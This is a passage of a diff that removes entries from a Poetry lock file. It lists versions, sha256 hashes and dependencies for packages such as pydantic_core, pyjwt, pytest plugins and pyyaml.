"sha256:406bf18d345822d6c21366031003612b9c77b3e29ffdb0f612367352aab7d586"}, - {file = "pydantic_core-2.41.5-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:b93590ae81f7010dbe380cdeab6f515902ebcbefe0b9327cc4804d74e93ae69d"}, - {file = "pydantic_core-2.41.5-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:01a3d0ab748ee531f4ea6c3e48ad9dac84ddba4b0d82291f87248f2f9de8d740"}, - {file = "pydantic_core-2.41.5-cp313-cp313-musllinux_1_1_armv7l.whl", hash = "sha256:6561e94ba9dacc9c61bce40e2d6bdc3bfaa0259d3ff36ace3b1e6901936d2e3e"}, - {file = "pydantic_core-2.41.5-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:915c3d10f81bec3a74fbd4faebe8391013ba61e5a1a8d48c4455b923bdda7858"}, - {file = "pydantic_core-2.41.5-cp313-cp313-win32.whl", hash = "sha256:650ae77860b45cfa6e2cdafc42618ceafab3a2d9a3811fcfbd3bbf8ac3c40d36"}, - {file = "pydantic_core-2.41.5-cp313-cp313-win_amd64.whl", hash = "sha256:79ec52ec461e99e13791ec6508c722742ad745571f234ea6255bed38c6480f11"}, - {file = "pydantic_core-2.41.5-cp313-cp313-win_arm64.whl", hash = "sha256:3f84d5c1b4ab906093bdc1ff10484838aca54ef08de4afa9de0f5f14d69639cd"}, - {file = "pydantic_core-2.41.5-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:3f37a19d7ebcdd20b96485056ba9e8b304e27d9904d233d7b1015db320e51f0a"}, - {file = "pydantic_core-2.41.5-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:1d1d9764366c73f996edd17abb6d9d7649a7eb690006ab6adbda117717099b14"}, - {file = "pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:25e1c2af0fce638d5f1988b686f3b3ea8cd7de5f244ca147c777769e798a9cd1"}, - {file = "pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:506d766a8727beef16b7adaeb8ee6217c64fc813646b424d0804d67c16eddb66"}, - {file = "pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4819fa52133c9aa3c387b3328f25c1facc356491e6135b459f1de698ff64d869"}, - {file = "pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2b761d210c9ea91feda40d25b4efe82a1707da2ef62901466a42492c028553a2"}, - {file = "pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:22f0fb8c1c583a3b6f24df2470833b40207e907b90c928cc8d3594b76f874375"}, - {file = "pydantic_core-2.41.5-cp314-cp314-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:2782c870e99878c634505236d81e5443092fba820f0373997ff75f90f68cd553"}, - {file = "pydantic_core-2.41.5-cp314-cp314-musllinux_1_1_aarch64.whl", hash = "sha256:0177272f88ab8312479336e1d777f6b124537d47f2123f89cb37e0accea97f90"}, - {file = "pydantic_core-2.41.5-cp314-cp314-musllinux_1_1_armv7l.whl", hash = "sha256:63510af5e38f8955b8ee5687740d6ebf7c2a0886d15a6d65c32814613681bc07"}, - {file = "pydantic_core-2.41.5-cp314-cp314-musllinux_1_1_x86_64.whl", hash = "sha256:e56ba91f47764cc14f1daacd723e3e82d1a89d783f0f5afe9c364b8bb491ccdb"}, - {file = "pydantic_core-2.41.5-cp314-cp314-win32.whl", hash = "sha256:aec5cf2fd867b4ff45b9959f8b20ea3993fc93e63c7363fe6851424c8a7e7c23"}, - {file = "pydantic_core-2.41.5-cp314-cp314-win_amd64.whl", hash = "sha256:8e7c86f27c585ef37c35e56a96363ab8de4e549a95512445b85c96d3e2f7c1bf"}, - {file = "pydantic_core-2.41.5-cp314-cp314-win_arm64.whl", hash = "sha256:e672ba74fbc2dc8eea59fb6d4aed6845e6905fc2a8afe93175d94a83ba2a01a0"}, - {file = "pydantic_core-2.41.5-cp314-cp314t-macosx_10_12_x86_64.whl", hash = "sha256:8566def80554c3faa0e65ac30ab0932b9e3a5cd7f8323764303d468e5c37595a"}, - {file = "pydantic_core-2.41.5-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:b80aa5095cd3109962a298ce14110ae16b8c1aece8b72f9dafe81cf597ad80b3"}, - {file = "pydantic_core-2.41.5-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3006c3dd9ba34b0c094c544c6006cc79e87d8612999f1a5d43b769b89181f23c"}, - {file = "pydantic_core-2.41.5-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:72f6c8b11857a856bcfa48c86f5368439f74453563f951e473514579d44aa612"}, - {file = "pydantic_core-2.41.5-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5cb1b2f9742240e4bb26b652a5aeb840aa4b417c7748b6f8387927bc6e45e40d"}, - {file = "pydantic_core-2.41.5-cp314-cp314t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:bd3d54f38609ff308209bd43acea66061494157703364ae40c951f83ba99a1a9"}, - {file = "pydantic_core-2.41.5-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2ff4321e56e879ee8d2a879501c8e469414d948f4aba74a2d4593184eb326660"}, - {file = "pydantic_core-2.41.5-cp314-cp314t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:d0d2568a8c11bf8225044aa94409e21da0cb09dcdafe9ecd10250b2baad531a9"}, - {file = "pydantic_core-2.41.5-cp314-cp314t-musllinux_1_1_aarch64.whl", hash = "sha256:a39455728aabd58ceabb03c90e12f71fd30fa69615760a075b9fec596456ccc3"}, - {file = "pydantic_core-2.41.5-cp314-cp314t-musllinux_1_1_armv7l.whl", hash = "sha256:239edca560d05757817c13dc17c50766136d21f7cd0fac50295499ae24f90fdf"}, - {file = "pydantic_core-2.41.5-cp314-cp314t-musllinux_1_1_x86_64.whl", hash = "sha256:2a5e06546e19f24c6a96a129142a75cee553cc018ffee48a460059b1185f4470"}, - {file = "pydantic_core-2.41.5-cp314-cp314t-win32.whl", hash = "sha256:b4ececa40ac28afa90871c2cc2b9ffd2ff0bf749380fbdf57d165fd23da353aa"}, - {file = "pydantic_core-2.41.5-cp314-cp314t-win_amd64.whl", hash = "sha256:80aa89cad80b32a912a65332f64a4450ed00966111b6615ca6816153d3585a8c"}, - {file = "pydantic_core-2.41.5-cp314-cp314t-win_arm64.whl", hash = "sha256:35b44f37a3199f771c3eaa53051bc8a70cd7b54f333531c59e29fd4db5d15008"}, - {file = "pydantic_core-2.41.5-cp39-cp39-macosx_10_12_x86_64.whl", hash = "sha256:8bfeaf8735be79f225f3fefab7f941c712aaca36f1128c9d7e2352ee1aa87bdf"}, - {file = "pydantic_core-2.41.5-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:346285d28e4c8017da95144c7f3acd42740d637ff41946af5ce6e5e420502dd5"}, - {file = "pydantic_core-2.41.5-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a75dafbf87d6276ddc5b2bf6fae5254e3d0876b626eb24969a574fff9149ee5d"}, - {file = "pydantic_core-2.41.5-cp39-cp39-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:7b93a4d08587e2b7e7882de461e82b6ed76d9026ce91ca7915e740ecc7855f60"}, - {file = "pydantic_core-2.41.5-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e8465ab91a4bd96d36dde3263f06caa6a8a6019e4113f24dc753d79a8b3a3f82"}, - {file = "pydantic_core-2.41.5-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:299e0a22e7ae2b85c1a57f104538b2656e8ab1873511fd718a1c1c6f149b77b5"}, - {file = "pydantic_core-2.41.5-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:707625ef0983fcfb461acfaf14de2067c5942c6bb0f3b4c99158bed6fedd3cf3"}, - {file = "pydantic_core-2.41.5-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:f41eb9797986d6ebac5e8edff36d5cef9de40def462311b3eb3eeded1431e425"}, - {file = "pydantic_core-2.41.5-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:0384e2e1021894b1ff5a786dbf94771e2986ebe2869533874d7e43bc79c6f504"}, - {file = "pydantic_core-2.41.5-cp39-cp39-musllinux_1_1_armv7l.whl", hash = "sha256:f0cd744688278965817fd0839c4a4116add48d23890d468bc436f78beb28abf5"}, - {file = "pydantic_core-2.41.5-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:753e230374206729bf0a807954bcc6c150d3743928a73faffee51ac6557a03c3"}, - {file = "pydantic_core-2.41.5-cp39-cp39-win32.whl", hash = "sha256:873e0d5b4fb9b89ef7c2d2a963ea7d02879d9da0da8d9d4933dee8ee86a8b460"}, - {file = "pydantic_core-2.41.5-cp39-cp39-win_amd64.whl", hash = "sha256:e4f4a984405e91527a0d62649ee21138f8e3d0ef103be488c1dc11a80d7f184b"}, - {file = "pydantic_core-2.41.5-graalpy311-graalpy242_311_native-macosx_10_12_x86_64.whl", hash = "sha256:b96d5f26b05d03cc60f11a7761a5ded1741da411e7fe0909e27a5e6a0cb7b034"}, - {file = "pydantic_core-2.41.5-graalpy311-graalpy242_311_native-macosx_11_0_arm64.whl", hash = "sha256:634e8609e89ceecea15e2d61bc9ac3718caaaa71963717bf3c8f38bfde64242c"}, - {file = "pydantic_core-2.41.5-graalpy311-graalpy242_311_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:93e8740d7503eb008aa2df04d3b9735f845d43ae845e6dcd2be0b55a2da43cd2"}, - {file = "pydantic_core-2.41.5-graalpy311-graalpy242_311_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f15489ba13d61f670dcc96772e733aad1a6f9c429cc27574c6cdaed82d0146ad"}, - {file = "pydantic_core-2.41.5-graalpy312-graalpy250_312_native-macosx_10_12_x86_64.whl", hash = "sha256:7da7087d756b19037bc2c06edc6c170eeef3c3bafcb8f532ff17d64dc427adfd"}, - {file = "pydantic_core-2.41.5-graalpy312-graalpy250_312_native-macosx_11_0_arm64.whl", hash = "sha256:aabf5777b5c8ca26f7824cb4a120a740c9588ed58df9b2d196ce92fba42ff8dc"}, - {file = "pydantic_core-2.41.5-graalpy312-graalpy250_312_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c007fe8a43d43b3969e8469004e9845944f1a80e6acd47c150856bb87f230c56"}, - {file = "pydantic_core-2.41.5-graalpy312-graalpy250_312_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:76d0819de158cd855d1cbb8fcafdf6f5cf1eb8e470abe056d5d161106e38062b"}, - {file = "pydantic_core-2.41.5-pp310-pypy310_pp73-macosx_10_12_x86_64.whl", hash = "sha256:b5819cd790dbf0c5eb9f82c73c16b39a65dd6dd4d1439dcdea7816ec9adddab8"}, - {file = "pydantic_core-2.41.5-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:5a4e67afbc95fa5c34cf27d9089bca7fcab4e51e57278d710320a70b956d1b9a"}, - {file = "pydantic_core-2.41.5-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ece5c59f0ce7d001e017643d8d24da587ea1f74f6993467d85ae8a5ef9d4f42b"}, - {file = "pydantic_core-2.41.5-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:16f80f7abe3351f8ea6858914ddc8c77e02578544a0ebc15b4c2e1a0e813b0b2"}, - {file = "pydantic_core-2.41.5-pp310-pypy310_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:33cb885e759a705b426baada1fe68cbb0a2e68e34c5d0d0289a364cf01709093"}, - {file = "pydantic_core-2.41.5-pp310-pypy310_pp73-musllinux_1_1_armv7l.whl", hash = "sha256:c8d8b4eb992936023be7dee581270af5c6e0697a8559895f527f5b7105ecd36a"}, - {file = "pydantic_core-2.41.5-pp310-pypy310_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:242a206cd0318f95cd21bdacff3fcc3aab23e79bba5cac3db5a841c9ef9c6963"}, - {file = "pydantic_core-2.41.5-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:d3a978c4f57a597908b7e697229d996d77a6d3c94901e9edee593adada95ce1a"}, - {file = "pydantic_core-2.41.5-pp311-pypy311_pp73-macosx_10_12_x86_64.whl", hash = "sha256:b2379fa7ed44ddecb5bfe4e48577d752db9fc10be00a6b7446e9663ba143de26"}, - {file = "pydantic_core-2.41.5-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:266fb4cbf5e3cbd0b53669a6d1b039c45e3ce651fd5442eff4d07c2cc8d66808"}, - {file = "pydantic_core-2.41.5-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:58133647260ea01e4d0500089a8c4f07bd7aa6ce109682b1426394988d8aaacc"}, - {file = "pydantic_core-2.41.5-pp311-pypy311_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:287dad91cfb551c363dc62899a80e9e14da1f0e2b6ebde82c806612ca2a13ef1"}, - {file = "pydantic_core-2.41.5-pp311-pypy311_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:03b77d184b9eb40240ae9fd676ca364ce1085f203e1b1256f8ab9984dca80a84"}, - {file = "pydantic_core-2.41.5-pp311-pypy311_pp73-musllinux_1_1_armv7l.whl", hash = "sha256:a668ce24de96165bb239160b3d854943128f4334822900534f2fe947930e5770"}, - {file = "pydantic_core-2.41.5-pp311-pypy311_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:f14f8f046c14563f8eb3f45f499cc658ab8d10072961e07225e507adb700e93f"}, - {file = "pydantic_core-2.41.5-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:56121965f7a4dc965bff783d70b907ddf3d57f6eba29b6d2e5dabfaf07799c51"}, - {file = "pydantic_core-2.41.5.tar.gz", hash = "sha256:08daa51ea16ad373ffd5e7606252cc32f07bc72b28284b6bc9c6df804816476e"}, -] - -[package.dependencies] -typing-extensions = ">=4.14.1" - -[[package]] -name = "pygments" -version = "2.19.2" -description = "Pygments is a syntax highlighting package written in Python." -optional = false -python-versions = ">=3.8" -groups = ["dev", "docs"] -files = [ - {file = "pygments-2.19.2-py3-none-any.whl", hash = "sha256:86540386c03d588bb81d44bc3928634ff26449851e99741617ecb9037ee5ec0b"}, - {file = "pygments-2.19.2.tar.gz", hash = "sha256:636cb2477cec7f8952536970bc533bc43743542f70392ae026374600add5b887"}, -] - -[package.extras] -windows-terminal = ["colorama (>=0.4.6)"] - -[[package]] -name = "pyjwt" -version = "2.11.0" -description = "JSON Web Token implementation in Python" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "pyjwt-2.11.0-py3-none-any.whl", hash = "sha256:94a6bde30eb5c8e04fee991062b534071fd1439ef58d2adc9ccb823e7bcd0469"}, - {file = "pyjwt-2.11.0.tar.gz", hash = "sha256:35f95c1f0fbe5d5ba6e43f00271c275f7a1a4db1dab27bf708073b75318ea623"}, -] - -[package.extras] -crypto = ["cryptography (>=3.4.0)"] -dev = ["coverage[toml] (==7.10.7)", "cryptography (>=3.4.0)", "pre-commit", "pytest (>=8.4.2,<9.0.0)", "sphinx", "sphinx-rtd-theme", "zope.interface"] -docs = ["sphinx", "sphinx-rtd-theme", "zope.interface"] -tests = ["coverage[toml] (==7.10.7)", "pytest (>=8.4.2,<9.0.0)"] - -[[package]] -name = "pymdown-extensions" -version = "10.21" -description = "Extension pack for Python Markdown." -optional = false -python-versions = ">=3.9" -groups = ["dev", "docs"] -files = [ - {file = "pymdown_extensions-10.21-py3-none-any.whl", hash = "sha256:91b879f9f864d49794c2d9534372b10150e6141096c3908a455e45ca72ad9d3f"}, - {file = "pymdown_extensions-10.21.tar.gz", hash = "sha256:39f4a020f40773f6b2ff31d2cd2546c2c04d0a6498c31d9c688d2be07e1767d5"}, -] - -[package.dependencies] -markdown = ">=3.6" -pyyaml = "*" - -[package.extras] -extra = ["pygments (>=2.19.1)"] - -[[package]] -name = "pyparsing" -version = "3.3.2" -description = "pyparsing - Classes and methods to define and execute parsing grammars" -optional = false -python-versions = ">=3.9" -groups = ["docs"] -files = [ - {file = "pyparsing-3.3.2-py3-none-any.whl", hash = "sha256:850ba148bd908d7e2411587e247a1e4f0327839c40e2e5e6d05a007ecc69911d"}, - {file = "pyparsing-3.3.2.tar.gz", hash = "sha256:c777f4d763f140633dcb6d8a3eda953bf7a214dc4eff598413c070bcdc117cbc"}, -] - -[package.extras] -diagrams = ["jinja2", "railroad-diagrams"] - -[[package]] -name = "pytest" -version = "8.4.2" -description = "pytest: simple powerful testing with Python" -optional = false -python-versions = ">=3.9" -groups = ["dev"] -files = [ - {file = "pytest-8.4.2-py3-none-any.whl", hash = "sha256:872f880de3fc3a5bdc88a11b39c9710c3497a547cfa9320bc3c5e62fbf272e79"}, - {file = "pytest-8.4.2.tar.gz", hash = "sha256:86c0d0b93306b961d58d62a4db4879f27fe25513d4b969df351abdddb3c30e01"}, -] - -[package.dependencies] -colorama = {version = ">=0.4", markers = "sys_platform == \"win32\""} -exceptiongroup = {version = ">=1", markers = "python_version < \"3.11\""} -iniconfig = ">=1" -packaging = ">=20" -pluggy = ">=1.5,<2" -pygments = ">=2.7.2" -tomli = {version = ">=1", markers = "python_version < \"3.11\""} - -[package.extras] -dev = ["argcomplete", "attrs (>=19.2)", "hypothesis (>=3.56)", "mock", "requests", "setuptools", "xmlschema"] - -[[package]] -name = "pytest-asyncio" -version = "1.2.0" -description = "Pytest support for asyncio" -optional = false -python-versions = ">=3.9" -groups = ["dev"] -files = [ - {file = "pytest_asyncio-1.2.0-py3-none-any.whl", hash = "sha256:8e17ae5e46d8e7efe51ab6494dd2010f4ca8dae51652aa3c8d55acf50bfb2e99"}, - {file = "pytest_asyncio-1.2.0.tar.gz", hash = "sha256:c609a64a2a8768462d0c99811ddb8bd2583c33fd33cf7f21af1c142e824ffb57"}, -] - -[package.dependencies] -backports-asyncio-runner = {version = ">=1.1,<2", markers = "python_version < \"3.11\""} -pytest = ">=8.2,<9" -typing-extensions = {version = ">=4.12", markers = "python_version < \"3.13\""} - -[package.extras] -docs = ["sphinx (>=5.3)", "sphinx-rtd-theme (>=1)"] -testing = ["coverage (>=6.2)", "hypothesis (>=5.7.1)"] - -[[package]] -name = "pytest-benchmark" -version = "5.2.3" -description = "A ``pytest`` fixture for benchmarking code. It will group the tests into rounds that are calibrated to the chosen timer." -optional = false -python-versions = ">=3.9" -groups = ["dev"] -files = [ - {file = "pytest_benchmark-5.2.3-py3-none-any.whl", hash = "sha256:bc839726ad20e99aaa0d11a127445457b4219bdb9e80a1afc4b51da7f96b0803"}, - {file = "pytest_benchmark-5.2.3.tar.gz", hash = "sha256:deb7317998a23c650fd4ff76e1230066a76cb45dcece0aca5607143c619e7779"}, -] - -[package.dependencies] -py-cpuinfo = "*" -pytest = ">=8.1" - -[package.extras] -aspect = ["aspectlib"] -elasticsearch = ["elasticsearch"] -histogram = ["pygal", "pygaljs", "setuptools"] - -[[package]] -name = "pytest-cov" -version = "7.0.0" -description = "Pytest plugin for measuring coverage." -optional = false -python-versions = ">=3.9" -groups = ["dev"] -files = [ - {file = "pytest_cov-7.0.0-py3-none-any.whl", hash = "sha256:3b8e9558b16cc1479da72058bdecf8073661c7f57f7d3c5f22a1c23507f2d861"}, - {file = "pytest_cov-7.0.0.tar.gz", hash = "sha256:33c97eda2e049a0c5298e91f519302a1334c26ac65c1a483d6206fd458361af1"}, -] - -[package.dependencies] -coverage = {version = ">=7.10.6", extras = ["toml"]} -pluggy = ">=1.2" -pytest = ">=7" - -[package.extras] -testing = ["process-tests", "pytest-xdist", "virtualenv"] - -[[package]] -name = "pytest-env" -version = "1.1.5" -description = "pytest plugin that allows you to add environment variables." -optional = false -python-versions = ">=3.8" -groups = ["dev"] -files = [ - {file = "pytest_env-1.1.5-py3-none-any.whl", hash = "sha256:ce90cf8772878515c24b31cd97c7fa1f4481cd68d588419fd45f10ecaee6bc30"}, - {file = "pytest_env-1.1.5.tar.gz", hash = "sha256:91209840aa0e43385073ac464a554ad2947cc2fd663a9debf88d03b01e0cc1cf"}, -] - -[package.dependencies] -pytest = ">=8.3.3" -tomli = {version = ">=2.0.1", markers = "python_version < \"3.11\""} - -[package.extras] -testing = ["covdefaults (>=2.3)", "coverage (>=7.6.1)", "pytest-mock (>=3.14)"] - -[[package]] -name = "pytest-httpserver" -version = "1.1.3" -description = "pytest-httpserver is a httpserver for pytest" -optional = false -python-versions = ">=3.9" -groups = ["dev"] -markers = "python_version == \"3.9\"" -files = [ - {file = "pytest_httpserver-1.1.3-py3-none-any.whl", hash = "sha256:5f84757810233e19e2bb5287f3826a71c97a3740abe3a363af9155c0f82fdbb9"}, - {file = "pytest_httpserver-1.1.3.tar.gz", hash = "sha256:af819d6b533f84b4680b9416a5b3f67f1df3701f1da54924afd4d6e4ba5917ec"}, -] - -[package.dependencies] -Werkzeug = ">=2.0.0" - -[[package]] -name = "pytest-httpserver" -version = "1.1.4" -description = "pytest-httpserver is a httpserver for pytest" -optional = false -python-versions = ">=3.10" -groups = ["dev"] -markers = "python_version >= \"3.10\"" -files = [ - {file = "pytest_httpserver-1.1.4-py3-none-any.whl", hash = "sha256:5dc73beae8cef139597cfdaab1b7f6bfe3551dd80965a6039e08498796053331"}, - {file = "pytest_httpserver-1.1.4.tar.gz", hash = "sha256:4d357402ae7e141f3914ed7cd25f3e24746ae928792dad60053daee4feae81fc"}, -] - -[package.dependencies] -Werkzeug = ">=2.0.0" - -[[package]] -name = "pytest-httpx" -version = "0.35.0" -description = "Send responses to httpx." -optional = false -python-versions = ">=3.9" -groups = ["dev"] -files = [ - {file = "pytest_httpx-0.35.0-py3-none-any.whl", hash = "sha256:ee11a00ffcea94a5cbff47af2114d34c5b231c326902458deed73f9c459fd744"}, - {file = "pytest_httpx-0.35.0.tar.gz", hash = "sha256:d619ad5d2e67734abfbb224c3d9025d64795d4b8711116b1a13f72a251ae511f"}, -] - -[package.dependencies] -httpx = "==0.28.*" -pytest = "==8.*" - -[package.extras] -testing = ["pytest-asyncio (==0.24.*)", "pytest-cov (==6.*)"] - -[[package]] -name = "pytest-rerunfailures" -version = "16.0.1" -description = "pytest plugin to re-run tests to eliminate flaky failures" -optional = false -python-versions = ">=3.9" -groups = ["dev"] -markers = "python_version == \"3.9\"" -files = [ - {file = "pytest_rerunfailures-16.0.1-py3-none-any.whl", hash = "sha256:0bccc0e3b0e3388275c25a100f7077081318196569a121217688ed05e58984b9"}, - {file = "pytest_rerunfailures-16.0.1.tar.gz", hash = "sha256:ed4b3a6e7badb0a720ddd93f9de1e124ba99a0cb13bc88561b3c168c16062559"}, -] - -[package.dependencies] -packaging = ">=17.1" -pytest = ">=7.4,<8.2.2 || >8.2.2" - -[[package]] -name = "pytest-rerunfailures" -version = "16.1" -description = "pytest plugin to re-run tests to eliminate flaky failures" -optional = false -python-versions = ">=3.10" -groups = ["dev"] -markers = "python_version >= \"3.10\"" -files = [ - {file = "pytest_rerunfailures-16.1-py3-none-any.whl", hash = "sha256:5d11b12c0ca9a1665b5054052fcc1084f8deadd9328962745ef6b04e26382e86"}, - {file = "pytest_rerunfailures-16.1.tar.gz", hash = "sha256:c38b266db8a808953ebd71ac25c381cb1981a78ff9340a14bcb9f1b9bff1899e"}, -] - -[package.dependencies] -packaging = ">=17.1" -pytest = ">=7.4,<8.2.2 || >8.2.2" - -[[package]] -name = "pytest-timeout" -version = "2.4.0" -description = "pytest plugin to abort hanging tests" -optional = false -python-versions = ">=3.7" -groups = ["dev"] -files = [ - {file = "pytest_timeout-2.4.0-py3-none-any.whl", hash = "sha256:c42667e5cdadb151aeb5b26d114aff6bdf5a907f176a007a30b940d3d865b5c2"}, - {file = "pytest_timeout-2.4.0.tar.gz", hash = "sha256:7e68e90b01f9eff71332b25001f85c75495fc4e3a836701876183c4bcfd0540a"}, -] - -[package.dependencies] -pytest = ">=7.0.0" - -[[package]] -name = "python-daemon" -version = "3.1.2" -description = "Library to implement a well-behaved Unix daemon process." -optional = false -python-versions = ">=3.7" -groups = ["main"] -files = [ - {file = "python_daemon-3.1.2-py3-none-any.whl", hash = "sha256:b906833cef63502994ad48e2eab213259ed9bb18d54fa8774dcba2ff7864cec6"}, - {file = "python_daemon-3.1.2.tar.gz", hash = "sha256:f7b04335adc473de877f5117e26d5f1142f4c9f7cd765408f0877757be5afbf4"}, -] - -[package.dependencies] -lockfile = ">=0.10" - -[package.extras] -build = ["build", "changelog-chug", "docutils", "python-daemon[doc]", "wheel"] -devel = ["python-daemon[dist,test]"] -dist = ["python-daemon[build]", "twine"] -static-analysis = ["isort (>=5.13,<6.0)", "pip-check", "pycodestyle (>=2.12,<3.0)", "pydocstyle (>=6.3,<7.0)", "pyupgrade (>=3.17,<4.0)"] -test = ["coverage", "python-daemon[build,static-analysis]", "testscenarios (>=0.4)", "testtools"] - -[[package]] -name = "python-dateutil" -version = "2.9.0.post0" -description = "Extensions to the standard Python datetime module" -optional = false -python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,>=2.7" -groups = ["docs"] -files = [ - {file = "python-dateutil-2.9.0.post0.tar.gz", hash = "sha256:37dd54208da7e1cd875388217d5e00ebd4179249f90fb72437e91a35459a0ad3"}, - {file = "python_dateutil-2.9.0.post0-py2.py3-none-any.whl", hash = "sha256:a8b2bc7bffae282281c8140a97d3aa9c14da0b136dfe83f850eea9a5f7470427"}, -] - -[package.dependencies] -six = ">=1.5" - -[[package]] -name = "pyyaml" -version = "6.0.3" -description = "YAML parser and emitter for Python" -optional = false -python-versions = ">=3.8" -groups = ["main", "dev", "docs"] -files = [ - {file = "PyYAML-6.0.3-cp38-cp38-macosx_10_13_x86_64.whl", hash = "sha256:c2514fceb77bc5e7a2f7adfaa1feb2fb311607c9cb518dbc378688ec73d8292f"}, - {file = "PyYAML-6.0.3-cp38-cp38-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9c57bb8c96f6d1808c030b1687b9b5fb476abaa47f0db9c0101f5e9f394e97f4"}, - {file = "PyYAML-6.0.3-cp38-cp38-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:efd7b85f94a6f21e4932043973a7ba2613b059c4a000551892ac9f1d11f5baf3"}, - {file = "PyYAML-6.0.3-cp38-cp38-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:22ba7cfcad58ef3ecddc7ed1db3409af68d023b7f940da23c6c2a1890976eda6"}, - {file = "PyYAML-6.0.3-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:6344df0d5755a2c9a276d4473ae6b90647e216ab4757f8426893b5dd2ac3f369"}, - {file = "PyYAML-6.0.3-cp38-cp38-win32.whl", hash = "sha256:3ff07ec89bae51176c0549bc4c63aa6202991da2d9a6129d7aef7f1407d3f295"}, - {file = "PyYAML-6.0.3-cp38-cp38-win_amd64.whl", hash = "sha256:5cf4e27da7e3fbed4d6c3d8e797387aaad68102272f8f9752883bc32d61cb87b"}, - {file = "pyyaml-6.0.3-cp310-cp310-macosx_10_13_x86_64.whl", hash = "sha256:214ed4befebe12df36bcc8bc2b64b396ca31be9304b8f59e25c11cf94a4c033b"}, - {file = "pyyaml-6.0.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:02ea2dfa234451bbb8772601d7b8e426c2bfa197136796224e50e35a78777956"}, - {file = "pyyaml-6.0.3-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b30236e45cf30d2b8e7b3e85881719e98507abed1011bf463a8fa23e9c3e98a8"}, - {file = "pyyaml-6.0.3-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:66291b10affd76d76f54fad28e22e51719ef9ba22b29e1d7d03d6777a9174198"}, - {file = "pyyaml-6.0.3-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9c7708761fccb9397fe64bbc0395abcae8c4bf7b0eac081e12b809bf47700d0b"}, - {file = "pyyaml-6.0.3-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:418cf3f2111bc80e0933b2cd8cd04f286338bb88bdc7bc8e6dd775ebde60b5e0"}, - {file = "pyyaml-6.0.3-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:5e0b74767e5f8c593e8c9b5912019159ed0533c70051e9cce3e8b6aa699fcd69"}, - {file = "pyyaml-6.0.3-cp310-cp310-win32.whl", hash = "sha256:28c8d926f98f432f88adc23edf2e6d4921ac26fb084b028c733d01868d19007e"}, - {file = "pyyaml-6.0.3-cp310-cp310-win_amd64.whl", hash = "sha256:bdb2c67c6c1390b63c6ff89f210c8fd09d9a1217a465701eac7316313c915e4c"}, - {file = "pyyaml-6.0.3-cp311-cp311-macosx_10_13_x86_64.whl", hash = "sha256:44edc647873928551a01e7a563d7452ccdebee747728c1080d881d68af7b997e"}, - {file = 